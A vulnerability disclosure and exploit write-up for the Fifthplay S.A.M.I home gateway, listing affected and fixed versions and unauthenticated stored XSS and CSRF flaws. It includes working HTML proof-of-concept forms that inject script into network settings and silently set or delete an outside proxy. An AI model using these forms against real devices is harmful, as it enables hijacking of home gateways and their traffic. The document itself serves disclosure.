# Exploit Title: Fifthplay S.A.M.I 2019.2_HP - Persistent Cross-Site Scripting
# Date: 2020-01-29
# Exploit Author: LiquidWorm
# Vendor: Fifthplay NV
# Vendor Homepage: https://www.fifthplay.com
# Version: 2019.2_HP
# Tested on: Linux
# CVE : -
Fifthplay S.A.M.I - Service And Management Interface Unauthenticated Stored XSS
Vendor: Fifthplay NV
Product web page: https://www.fifthplay.com
Affected version: Platform: HAM V1.2
HAM V1.1
HAM V1.0
DINHAM 10W
Image Version: 2019.3-20190605144803
2019.2_HP-20190808154634
2018.4_HP-20181015152950
2018.2-20180516100815
2017.2_HP-20180213083050
2013.4_HP-201309301203
AMP Version: 2019.2_HP
2018.4_HP
2017.2_HP
2013.4_HP
R20.19.03
R20.18.02
Fix: 2017.2-HP4
2018.4_HP3
2018.5_HP7
2019.2_HP3
2019.3_HP1
Summary: Fifthplay is a Belgian high-tech player and a subsidiary of Niko Group.
We specialise in enriching smart homes and buildings for almost 10 years, and in
services that provide comfort and energy. Our gateway provides a modular approach
to integrating old and new technologies, such as smart meters, optical meters,
sockets, switches. Fifthplay is a trendsetter with regards to smart homes and buildings
and one of the sector's most innovative companies.
Desc: The application suffers from an unauthenticated stored XSS through POST request.
The issue is triggered when input passed via several parameters is not properly
sanitized before being returned to the user. This can be exploited to execute arbitrary
HTML and script code in a user's browser session in context of an affected site. The
application interface also allows users to perform certain actions via HTTP requests
without performing any validity checks to verify the requests. This can be exploited
to perform certain actions if a user visits a malicious web site.
Tested on: lighttpd/1.4.33
PHP/5.4.33
PHP/5.3.19
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2020-5561
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5561.php
29.09.2019
--
Stored XSS:
-----------
<html>
<body>
<form action="http://192.168.11.1/?page=networksettings" method="POST">
<input type="hidden" name="server" value='"><script>prompt(251)</script>' />
<input type="hidden" name="port" value='"><script>prompt(252)</script>' />
<input type="hidden" name="auth" value="1" />
<input type="hidden" name="user" value='"><script>prompt(253)</script>' />
<input type="hidden" name="pass" value='"><script>prompt(254)</script>' />
<input type="hidden" name="submit" value="Change" />
<input type="submit" value="Write" />
</form>
</body>
</html>
Set proxy CSRF:
---------------
<html>
<body>
<form action="http://192.168.11.1/?page=networksettings" method="POST">
<input type="hidden" name="server" value="proxy.segfault.mk" />
<input type="hidden" name="port" value="8080" />
<input type="hidden" name="auth" value="1" />
<input type="hidden" name="user" value="testuser" />
<input type="hidden" name="pass" value="testpass" />
<input type="hidden" name="submit" value="Change" />
<input type="submit" value="Write" />
</form>
</body>
</html>
Delete proxy CSRF:
------------------
<html>
<body>
<form action="http://192.168.11.1/?page=networksettings" method="POST">
<input type="hidden" name="server" value="proxy.segfault.mk" />
<input type="hidden" name="port" value="8080" />
<input type="hidden" name="auth" value="1" />
<input type="hidden" name="user" value="testuser" />
<input type="hidden" name="pass" value="testpass" />
<input type="hidden" name="delete" value="Delete" />
<input type="submit" value="Clear" />
</form>
</body>
</html>